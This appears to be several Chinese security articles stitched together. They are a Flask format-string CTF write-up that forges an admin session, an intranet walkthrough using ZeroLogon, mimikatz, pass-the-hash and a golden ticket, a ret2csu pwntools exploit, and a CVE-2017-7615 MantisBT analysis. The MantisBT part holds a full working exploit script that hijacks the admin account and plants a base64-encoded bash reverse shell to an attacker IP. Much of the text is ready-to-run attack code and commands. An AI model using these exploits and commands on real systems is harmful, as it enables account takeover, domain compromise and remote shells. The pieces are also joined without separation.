可以通过 **GET** 请求方式来控制，这就形成了用户信息遍历漏洞。但是要想读取其他用户的 **secert** ， **id** 值就必须和
**session** 中存储的 **user_id** 值一样。
观察上图 **第26、33行** ，很明显的看到 **secert_t** 变量进行了两次格式化，这里便存在格式化字符串漏洞。例如我们试一下编辑
**secret** 值为：`{user_m.password}` ，发现确实可以带出数据。
继续往下看 **edit_secert** 方法，其主要是定义了用户只能修改自己的 **scert** ，没有需要关注的地方。
那么现在的思路就是通过这个格式化字符串漏洞，带出 **flask** 用于签名认证的 **SECRET_KEY** ，然后本地运行网站代码，通过该
**SECRET_KEY** 伪造 **admin** 的 **session** 登录即可。由于可注入的对象 **user_m** 是继承自
**SQLAlchemy** 对象，我们在查阅其源码时发现在开头处导入了 **current_app** 对象。
我们通过注入下面 **payload** ，可以查看到 **Web** 应用程序使用的 **SECRET_KEY** 。
{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}
PS：这里也附上官方 **writeup** 中的 **payload** ：
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
在获取了 **SECRET_KEY** 后，我们就来伪造 **admin** 的 **session** 登录看看。前面我们说过了， **flask** 的
**session** 是存储在 **cookie** 中的，所以我们先来看一下本例中普通用户的 **session** 形式。
我们在前面的用户信息遍历漏洞中，可知 **admin** 的 **id** 为5，所以我们本地跑起 **flask** 程序，用得到的
**SECRET_KEY** 伪造 **admin** 的 **session** 。
# test_app.py
from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY']='ichunqiuQAQ013'
@app.route('/flag')
def set_id():
session['user_id']=5
return "ok"
app.run(debug=True)
PS：起 **flask** 的时候，用命令 **flask init-db** 初始化数据库的时候，遇到 **Error: No such command
"init-db"** 错误，后面通过 `export FLASK_APP=__init__.py` 解决。
## 参考文章
<http://cizixs.com/2017/03/08/flask-insight-session/>
<https://www.leavesongs.com/PENETRATION/client-session-security.html>
<https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html>
<http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/>
<https://realpython.com/python-string-formatting/>
[第四届“百越杯”福建省高校网络空间安全大赛官方writeup](https://bbs.ichunqiu.com/thread-48533-1-1.html) | 社区文章 |
**内容：**
信息收集，提权，代理搭建，域横向移动，哈希传递，票据制作，跨域攻击，上线方式
**渗透过程加思路：**
以钓鱼形式拿下第一台外网服务器，记得设置beacon响应为实时
首先打开一个记事本准备复制粘贴要用到的数据
**可以看到我们不是最高权限，第一步肯定是要进行权限提升的，先进行主机信息的收集，查看主机的系统版本，修复的补丁**
本电脑为win7 可以看到收集的信息为三级域名，三个补丁
指令：
shell systeminfo
其他的先不多想，进行提权，根据版本信息和补丁，ms14_058可以提权
提权成功
拿下最高权限可以做后门权限维持，计划任务等等，这里就不多说了
最高权限也就代表这台主机是我们的了，那我们刚才看到了主机信息有三级域名，可以猜测有内网环境，我们进行网卡信息查看
指令：
shell ipconfig /all
可以看到有域环境，双网卡，DNS首选为10.10.3.6，这时候进行内网主机存活扫描，并获得上级域的计算机名和真实ip
这里用了nbtscan工具辅助扫描
查看扫描结果，主要看dc，为域控标志，这里要把计算机名字记录好，票据会用到
既然要做域横向移动那必须上传mimikatz
利用mimikatz扫一下有没有cve2020-1472漏洞
指令：
lsadump::zerologon /target:域控IP /account:域控主机名$
这里是存在的，因为内网和我们渗透机ip不在一个网段，是不能互通的，所以这里做下代理
我们把这两个文件上传
渗透机开启端口映射准备接收
利用cs将上传的响应启动,我们渗透机则显示连接成功
指令：
shell frpc.exe -c frp.ini
将kali的代理设置好，我们用7000端口接收碰撞，也就是在目标机上利用另一个端口连接流量
准备就绪开始利用cve进行置空域用户
指令：
shell mimikatz "lsadump::zerologon /target:域控ip /account:域控主机名$ /exploit" "exit"
成功后我们在kali利用secretsdump进行无密码提出散列值，将管理员和krbtgt的哈希记录
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e35c2b2d95f6ae63b75dbbff5195accb
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c696e9337845d8ada46612d047e40209
指令：
proxychains impacket-secretsdump -no-pass -just-dc 域名.com/域控主机名\$@域控ip
现在可以利用wmiexec进行哈希传递登录了
指令：
proxychains python3 wmiexec.py -hashes 获得的hash ./用户名@域控ip
现在将三个文件拉出来保存在我们的本地
分别是sam，system，security
我们先利用secretsdump将文件中的散列值提出，主要为了原本的机器码
指令：
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
利用reinstall_original_pw进行还原
指令：
proxychains python3 reinstall_original_pw.py 域控主机名 域控ip 机器码hash
显示成功，我们可以直接来到虚拟机这里实验，直接登陆上来了
回到主轨，这时候我们先上线cs，直接用wmiexec哈希传递登录上传cs执行就可以了，但是要在cs这里做中转，相当于利用了外网的服务器做跳板，所以这里监听也写外网的内网网卡ip
将新生成的cs马启动
来到cs看到已经上线了
已经是最高权限了，这时候就是新的信息收集，这一部分忽略
我们知道还有父域的10.10.3.5所以我们要开始制作黄金票据了，首先上传mimikatz获取父子域的sid（就像实名制会员卡一人一张，计算机也一样）
指令：
shell mimikatz "privilege::debug" "lsadump::lsa /patch /user:administrator$" "lsadump::trust /patch" "exit"
黄金票据的几个要点我用txt列出来了
指令：
shell "kerberos::golden /user:administrator /domain:现在所在域控名.com /sid:子域控sid /sids:父域sid-519 /krbtgt:c696e9337845d8ada46612d047e40209 /ptt" "exit"
进行票据攻击，显示成功
但是响应却失败
换一种思路，将3389打开并创建新的域控用户进行远程实现黄金票据
指令：
shell net user test QWEasd123 /add /domain//创建域用户
shell net group "Domain Admin" test /add /domain//添加到域管理员组
开启3389端口远程服务
进行远程登录
登录之后进行黄金票据攻击
看到可以交互
上传cs的exe并利用PsExec.exe进行上线
运行exe文件查看cs是否上线，可以看到父域上线并且是最高权限
完成本次内网渗透 | 社区文章 |
做`ROP Emporium`的`ret2csu`陷入僵局的时候
想找wp的时候发现网上没有任何wp(可能是新题吧)
题目很简单就跟之前的题目一样有一个有问题的函数 `pwnme`
主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("ret2csu by ROP Emporium\n");
pwnme();
return 0;
}
pwnme
void **pwnme()
{
void **result; // rax
char s; // [rsp+0h] [rbp-20h]
memset(&s, 0, 0x20uLL);
puts("Call ret2win()");
puts("The third argument (rdx) must be 0xdeadcafebabebeef");
puts(&byte_400924);
printf("> ", 0LL);
off_601018 = 0LL;
off_601028 = 0LL;
off_601030 = 0LL;
fgets(&s, 0xB0, stdin);
result = &off_601038;
off_601038 = 0LL;
return result;
}
还有一个后门函数
ret2win
int __fastcall ret2win(__int64 a1, __int64 a2, __int64 a3)
{
char command[8]; // [rsp+10h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-18h]
__int16 v6; // [rsp+20h] [rbp-10h]
__int64 *v7; // [rsp+28h] [rbp-8h]
v5 = 0xD5BED0DDDFD28920LL;
v6 = 170;
*(_QWORD *)command = a3 ^ 0xAACCA9D1D4D7DCC0LL;
v7 = (__int64 *)((char *)&v5 + 1);
*(__int64 *)((char *)&v5 + 1) ^= a3;
return system(command);
}
可以看到`ret2win`需要三个参数
a1和a2是没关系的但是a3必须是`0xdeadcafebabebeef`
找一下可以用的`gadget`
发现并没有可以用的`gadget`能`pop rdx` 或者 `mov rdx`
上网找一下`ret2csu`是啥
通过搜索发现这是`blackhat`2018年的议题
通过一个万用的`gadget`来制造rop
打开`_libc_csu_init`函数的汇编可以看到
rdx的值是r15给的
然后下面正好有一个`pop r15`
就有一个完整的rop链先到`0x400896`在从头跑一遍给`rdx`赋值
中间有一个rbp和rbx的比较上面有一个rbx+1
所以只要将rbp赋值为1就可以向下走了
最关键的地方就是`call qword ptr [r12+rbx*8]`
这里要怎么绕过首先r12和rbx的值都是可控的所以这个地址是可控的
然后因为要解引用首先想到的是got表的地址他指向的是libc里面的地址就可以调用了
第一次改的时候发现失败了,gdb一直告诉我是个无效地址而且为0
查看一下got表
发现居然真的是0
got表为0应该是不可能的
在pwnme发现有这些指令原来是特意不让调用got表的
不过有个漏网之鱼`setvbuf`
在调用的时候发现他会将rdx的值赋值为0xffffffff
这样的话就不能成功调用`ret2win`函数了
陷入僵局的时候开始在ida里面找地址然后tel一下看看
意外的发现了
这些可以用的地址
然后将r12的地址换成其中一个初始化用的函数地址`0x0600E10`
成功拿到flag
脚本
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context.arch = 'amd64'
local = 1
if local:
cn = process('./ret2csu')
# bin = ELF('./task_shoppingCart',checksec=False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
# libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
init_add = 0x0600E10
rop1_add = 0x0400896 #add rsp, 8 ; pop rbx ; pop rbp ; r12 r13 r14 r15 ret
rop2_add = 0x0400880 #mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12+rbx*8]
# z('b*0x04006E2\nc')
win_add = 0x04007B1
cn.recvuntil('beef')
payload = 'A'*0x20
payload += p64(0) # rbp
payload += p64(rop1_add) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init_add) #r12
payload += p64(0x0601060) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
payload += p64(rop2_add) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(win_add) #ret
cn.sendline(payload)
cn.interactive()
## 参考文章
<http://eternalsakura13.com/2018/03/31/return2csu/> | 社区文章 |
## 概述
Mantis BT是一个BUG管理系统,用php编写，系统相对简单轻量级，开源。
CVE-2017-7615漏洞影响MantisBT2.3.0及之前的版本，攻击者可通过向verify.php文件传递空的`confirm_hash`值利用该漏洞重置任意密码，获取管理员访问权限。
## 环境搭建
启动一个docker
sudo docker run -it --name Mantis -p 10080:80 --privileged=true -v /home/island/work/work/software/Mantis/container:/root ubuntu:16.04 bash
进入docker先安装最基础的一些工具
apt-get update
apt-get install net-tools
apt-get install iputils-ping
apt-get install iproute2
apt-get install vim
apt-get install zip
安装Mantis
apt-get install apache2
apt-get install php
apt-get install php7.0-gd (php用你的特定版本)
apt-get install libapache2-mod-php
apt-get install mysql-server
apt-get install php-mysql
apt-get install php-xml
apt-get install php-mbstring
service apache2 start
service mysql start
从GitHub上可以下载到2.18.0的Mantis的安装包<https://github.com/mantisbt/mantisbt/tree/release-2.18.0,然后进行安装>
cp mantisbt-2.18.0.zip /var/www/html/
cd /var/www/html/
unzip mantisbt-2.18.0.zip
mv mantisbt-2.18.0 mantisbt
chmod -R 777 mantisbt
修改配置文件，将/etc/php/7.0/apache2/php.ini其中`;extension=msql.so`前边的分号删除
修改文件/etc/apache2/apache2.conf，在最后加上一行`ServerName localhost:80`
在访问目标80端口时候发现不能正常访问，查看apache2日志
root@21467ebf0ffb:/var/www/html/mantisbt# tail /var/log/apache2/error.log
[Tue Jul 26 09:30:04.072922 2022] [:error] [pid 12525] [client 172.16.113.1:56529] PHP Warning: require_once(/var/www/html/mantisbt/vendor/autoload.php): failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:04.072952 2022] [:error] [pid 12525] [client 172.16.113.1:56529] PHP Fatal error: require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:07.553159 2022] [:error] [pid 12533] [client 172.16.113.1:56558] PHP Warning: require_once(/var/www/html/mantisbt/vendor/autoload.php): failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:07.553188 2022] [:error] [pid 12533] [client 172.16.113.1:56558] PHP Fatal error: require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:08.132794 2022] [:error] [pid 12526] [client 172.16.113.1:56559] PHP Warning: require_once(/var/www/html/mantisbt/vendor/autoload.php): failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:08.132822 2022] [:error] [pid 12526] [client 172.16.113.1:56559] PHP Fatal error: require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:08.335108 2022] [:error] [pid 12527] [client 172.16.113.1:56560] PHP Warning: require_once(/var/www/html/mantisbt/vendor/autoload.php): failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:08.335137 2022] [:error] [pid 12527] [client 172.16.113.1:56560] PHP Fatal error: require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:08.497536 2022] [:error] [pid 12528] [client 172.16.113.1:56561] PHP Warning: require_once(/var/www/html/mantisbt/vendor/autoload.php): failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91
[Tue Jul 26 09:30:08.497565 2022] [:error] [pid 12528] [client 172.16.113.1:56561] PHP Fatal error: require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91
查了一下，在mantisbt目录下执行以下命令配置一下环境，安装依赖：
composer dump-autoload
apt-get install php7.0-gd
composer install
然后访问`http://172.16.113.160:10080/mantisbt/admin/install.php`页面进行傻瓜式安装
安装完成后访问<http://172.16.113.160:10080/mantisbt即可进入登陆界面，登陆账号administrator，密码root>
## 调试环境搭建
这个洞和我安装的版本不太适配，为了进行调试，同样的方法下载安装mantisBT
2.2.2,下载github里面的发现有点问题，建议可以去<https://sourceforge.net/projects/mantisbt/下载>
下载解压完成后放在web目录下安装
cp -r /root/mantisbt-2.2.2/ /var/www/html/
chmod -R 777 mantisbt-2.2.2/
另外为了方便调试，利用vscode+xdebug实现php的远程调试，记录一下配置记录
### 服务器端配置
apt install php-xdebug
然后通过命令`php --ini |
more`可以知道php.ini文件的位置在`/etc/php/7.0/cli/php.ini`，打开在末尾增加以下内容
[xdebug]
zend_extension=xdebug.so
[XDebug]
xdebug.remote_enable = on
xdebug.remote_autostart = 1
xdebug.remote_host = 172.16.113.1
xdebug.remote_port = 9000
xdebug.remote_connect_back = 0
xdebug.auto_trace = 1
xdebug.collect_includes = 1
xdebug.collect_params = 1
xdebug.remote_log = /tmp/xdebug.log
### 主机端配置
我的主机IDE端是Mac+VScode
Mac自带php，且php自带xdebug组件不用重复安装
直接打开VScode,打开调试界面，会自动添加launch.json,编辑加入以下内容
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Listen for XDebug",
"type": "php",
"request": "launch",
"stopOnEntry":false,
"localSourceRoot": "/Users/islandmac/Seafile/MyDocument/work/software/Mantis/container/mantisbt-2.2.2/",
"serverSourceRoot": "/var/www/html/mantisbt-2.2.2/",
"port": 9000
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 9000
}
]
}
### 调试环境测试
至此，调试环境搭建完成，在verify.php头部下一个断点
尝试访问，发现果然断下来了，证明调试环境搭建成功
## 漏洞复现
[exp](https://disk.scan.cm/All_wiki/yougar0.github.io%28%E5%9F%BA%E4%BA%8E%E9%9B%B6%E7%BB%84%E5%85%AC%E5%BC%80%E6%BC%8F%E6%B4%9E%E5%BA%93%20%2B%20PeiQi%E6%96%87%E5%BA%93%E7%9A%84%E4%B8%80%E4%BA%9B%E6%BC%8F%E6%B4%9E%29-20210715/Web%E5%AE%89%E5%85%A8/MantisBT/%EF%BC%88CVE-2017-7615%EF%BC%89MantisBT%20%E4%BB%BB%E6%84%8F%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E.md?hash=zE0KEPGJ)已经有大佬在网上放出来了
import requests
from urllib import quote_plus
from base64 import b64encode
from re import split
class exploit():
def __init__(self):
self.s = requests.Session()
self.headers = dict() # Initialize the headers dictionary
self.RHOST = "192.168.1.10" # Victim IP
self.RPORT = "10080" # Victim port
self.LHOST = "192.168.1.10" # Attacker IP
self.LPORT = "4444" # Attacker Port
self.verify_user_id = "1" # User id for the target account
self.realname = "administrator" # Username to hijack
self.passwd = "password" # New password after account hijack
self.mantisLoc = "/mantisbt-2.2.2" # Location of mantis in URL
self.ReverseShell = "echo " + b64encode(
"bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload
def reset_login(self):
# Request # 1: Grab the account update token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
r = self.s.get(url=url, headers=self.headers)
if r.status_code == 404:
print "ERROR: Unable to access password reset page"
exit()
account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
# Request # 2: Reset the account password
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})
r = self.s.post(url=url, headers=self.headers, data=data)
if r.status_code == 200:
print "Successfully hijacked account!"
def login(self):
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = self.s.post(url=url, headers=self.headers, data=data)
if "login_page.php" not in r.url:
print "Successfully logged in!"
def CreateConfigOption(self, option, value):
# Get adm_config_set_token
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
r = self.s.get(url=url, headers=self.headers)
adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
# Create config
data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(
value) + "&action=create&config_set=Create+Configuration+Option"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
r = self.s.post(url=url, headers=self.headers, data=data)
def TriggerExploit(self):
print "Triggering reverse shell"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
try:
r = self.s.get(url=url, headers=self.headers, timeout=3)
except:
pass
def Cleanup(self):
# Delete the config settings that were created to send the reverse shell
print "Cleaning up"
cleaned_up = False
cleanup = requests.Session()
CleanupHeaders = dict()
CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'})
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable']
for config in ConfigsToCleanup:
# Get adm_config_delete_token
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
r = cleanup.get(url=url, headers=self.headers)
test = split('<!-- Repeated Info Rows -->', r.text)
# First element of the response list is garbage, delete it
del test[0]
cleanup_dict = dict()
for i in range(len(test)):
if config in test[i]:
cleanup_dict.update({'config_option': config})
cleanup_dict.update({'adm_config_delete_token':
test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
cleanup_dict.update({'user_id': test[i].split('name="user_id" value=')[1].split('"')[1]})
cleanup_dict.update({'project_id': test[i].split('name="project_id" value=')[1].split('"')[1]})
# Delete the config
print "Deleting the " + config + " config."
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict[
'user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict[
'config_option'] + "&_confirmed=1"
r = cleanup.post(url=url, headers=CleanupHeaders, data=data)
# Confirm if actually cleaned up
r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php",
headers=CleanupHeaders, verify=False)
if config in r.text:
cleaned_up = False
else:
cleaned_up = True
if cleaned_up == True:
print "Successfully cleaned up"
else:
print "Unable to clean up configs"
exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable", value="1")
exploit.CreateConfigOption(option="dot_tool", value=exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()
我在我的攻击机上开展监听
╰─$ nc -lvvp 4444 -n
Listening on 0.0.0.0 4444
更改exp当中的攻击机ip,目标ip,mantisLoc等信息后，执行exp
╰─$ python CVE-2017-7615_exp.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up
成功接受回连获取shell
╰─$ nc -lvvp 4444 -n 130 ↵
Listening on 0.0.0.0 4444
Connection received on 172.17.0.4 40698
bash: cannot set terminal process group (12522): Inappropriate ioctl for device
bash: no job control in this shell
www-data@21467ebf0ffb:/var/www/html/mantisbt-2.2.2$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
## 密码重置漏洞分析
exp中可以看到包含了一个密码重置漏洞和一个认证后的RCE漏洞，由于是个老洞了分析整套的利用修复具体逻辑没有太大意义，因此只分析一下漏洞原理
重置密码的两个数据包
GET /mantisbt-2.2.2/verify.php?id=1&confirm_hash= HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
POST /mantisbt-2.2.2/account_update.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=49copvvmkmrpp014hv2255cup3
Content-Length: 145
account_update_token=20220727yZ-LSS6H7Oh2T8e0vtB-7idGE-jtqpkN&password=password&verify_user_id=1&realname=administrator&password_confirm=password
第一个包是为了获取account_update_token的参数值，打开verify.php进行分析
<?php
........
$f_user_id = gpc_get_string( 'id' );
$f_confirm_hash = gpc_get_string( 'confirm_hash' );
......
$t_token_confirm_hash = token_get_value( TOKEN_ACCOUNT_ACTIVATION, $f_user_id );
if( $f_confirm_hash != $t_token_confirm_hash ) {
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}
user_reset_failed_login_count_to_zero( $f_user_id );
user_reset_lost_password_in_progress_count_to_zero( $f_user_id );
# fake login so the user can set their password
auth_attempt_script_login( user_get_field( $f_user_id, 'username' ) );
user_increment_login_count( $f_user_id );
# extracts the user information
# and prefixes it with u_
$t_row = user_get_row( $f_user_id );
extract( $t_row, EXTR_PREFIX_ALL, 'u' );
$t_can_change_password = helper_call_custom_function( 'auth_can_change_password', array() );
layout_login_page_begin();
......
?>
可以看到头部在做的就是从query数据中取出id和confirm_hash参数值，然后将id值传入token_get_value
/**
* Get a token's value or null if not found
* @param integer $p_type The token type to retrieve.
* @param integer $p_user_id The user identifier (null for current user).
* @return array Token row
*/
function token_get_value( $p_type, $p_user_id = null ) {
$t_token = token_get( $p_type, $p_user_id );
if( null !== $t_token ) {
return $t_token['value'];
}
return null;
}
经过动态调试跟踪发现最终是运行以下命令获取token值
SELECT * FROM mantis222_tokens_table222 WHERE type=? AND owner=?;
这个值在登陆后才会有值，当我们没有登录的情况下是空的，因此返回null
因此verify.php继续向下运行
.......
if( $f_confirm_hash != $t_token_confirm_hash ) {
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}
......
就不会触发本应触发的错误，导致此处的校验绕过，继续向下运行到`auth_attempt_script_login( user_get_field(
$f_user_id, 'username' )
);`,会调用user_get_field函数,user_get_field中会将用户id传入user_get_row函数，user_get_row函数又会进一步调用user_cache_row函数
function user_cache_row( $p_user_id, $p_trigger_errors = true ) {
global $g_cache_user;
$c_user_id = (int)$p_user_id;
if( !isset( $g_cache_user[$c_user_id] ) ) {
user_cache_array_rows( array( $c_user_id ) );
}
$t_user_row = $g_cache_user[$c_user_id];
if( !$t_user_row ) {
if( $p_trigger_errors ) {
error_parameters( (integer)$p_user_id );
trigger_error( ERROR_USER_BY_ID_NOT_FOUND, ERROR );
}
return false;
}
return $t_user_row;
}
此处会从数据库中取出现有的用户信息存入$g_cache_user当中，然后根据$c_user_id（request传入的id值），来获取相应的用户信息$t_user_row。但是如果没有取到有效的$t_user_row值，就会触发错误
此处也能解释在第一个数据包中的id值为什么须为1，因为用户中至少存在一个administrator,ID值为1则有效，如果没有添加其他用户的情况下，request传入除了1以外的值就会触发错误。
继续向下运行加载前端界面，内嵌一行php
<?php
echo form_security_field( 'account_update' );
# When verifying account, set a token and don't display current password
token_set( TOKEN_ACCOUNT_VERIFY, true, TOKEN_EXPIRY_AUTHENTICATED, $u_id );
?>
这行则会加载我们需要用的有效的account_update_key并返回给用户
然后研究第二个数据包
POST /mantisbt-2.2.2/account_update.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=49copvvmkmrpp014hv2255cup3
Content-Length: 145
account_update_token=20220727yZ-LSS6H7Oh2T8e0vtB-7idGE-jtqpkN&password=password&verify_user_id=1&realname=administrator&password_confirm=password
进去分析account_update.php
头部存在代码
`form_security_validate( 'account_update' );`
会检查输入的session与account_update是否匹配，如果没有有效的token则会报错推出
否则会继续向下运行，做一些参数校验工作，然后调用方法user_set_password来重置口令,user_set_password方法会整合所有参数组合为以下sql语句执行：
`UPDATE mantis222_user_table222 SET password=root,
cookie_string=XFf3oXAaubj6XafrescDZ702IJeWIA1kecS7KoKvqFge_skYnK2QPVHR6Im5FXcq
WHERE id=1`
完成管理员密码的重置
## 认证后命令执行漏洞分析
认证后RCE关键是这四个数据包，登陆后获取有效cookie，然后请求`adm_config_report.php`可以获取有效的adm_config_set_token值
GET /mantisbt-2.2.2/adm_config_report.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=u2cr4957le1oe6etkdrd734s70
然后请求adm_config_set.php，config_option参数为relationship_graph_enable
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33
Content-Length: 257
adm_config_set_token=20220728agSFMyTMhprSgtlLxXdhye0ejxWCxE1W&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=relationship_graph_enable&original_config_option=&type=0&value=1&action=create&config_set=Create+Configuration+Option
进而继续请求adm_config_set.php，config_option参数变为dot_tool，value参数重为我们要执行的命令`echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA+JjE= | base64 -d |
/bin/bash;`
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=5aka0muqtf70qs0cbgk004r8g6
Content-Length: 345
adm_config_set_token=20220728IEIong_N4C3T2y434vmOxnPFjVz8oKB9&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=dot_tool&original_config_option=&type=0&value=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA%2BJjE%3D+%7C+base64+-d+%7C+%2Fbin%2Fbash%3B&action=create&config_set=Create+Configuration+Option
最后再调用workflow_graph_img.php，触发写入的命令
GET /mantisbt-2.2.2/workflow_graph_img.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33
进入adm_config_set.php开展分析
同样，开头调用form_security_validate( 'adm_config_set'
);要求必须要有一个有效的adm_config_set值，最后调用config_set( $f_config_option, $t_value,
$f_user_id, $f_project_id )设置相应的参数
